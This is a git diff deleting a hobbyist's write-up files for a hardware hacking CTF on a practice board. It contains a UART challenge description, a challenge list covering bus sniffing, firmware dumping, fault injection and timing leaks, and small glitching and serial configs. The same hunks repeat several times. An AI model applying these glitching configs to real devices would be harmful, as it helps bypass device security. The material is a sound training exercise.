diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png deleted file mode 100644 index 2620b36..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_setup.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png deleted file mode 100644 index 2620b36..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_setup.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py deleted file mode 100644 index 2671dec..0000000 --- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py +++ /dev/null @@ -1,7 +0,0 @@ -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 31250 - diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png deleted file mode 100644 index 2620b36..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_setup.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py deleted file mode 100644 index 2671dec..0000000 --- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py +++ /dev/null @@ -1,7 +0,0 @@ -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 31250 - diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py deleted file mode 100644 index 0ee78c6..0000000 --- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py +++ /dev/null @@ -1,44 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', True], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### name, enabled, string to match ### -conditions = [ - ["Flag", True, "TS{", "stop_glitch"], -] - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png deleted file mode 100644 index 2620b36..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_setup.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py deleted file mode 100644 index 2671dec..0000000 --- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py +++ /dev/null @@ -1,7 +0,0 @@ -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 31250 - diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py deleted file mode 100644 index 0ee78c6..0000000 --- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py +++ /dev/null @@ -1,44 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', True], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### name, enabled, string to match ### -conditions = [ - ["Flag", True, 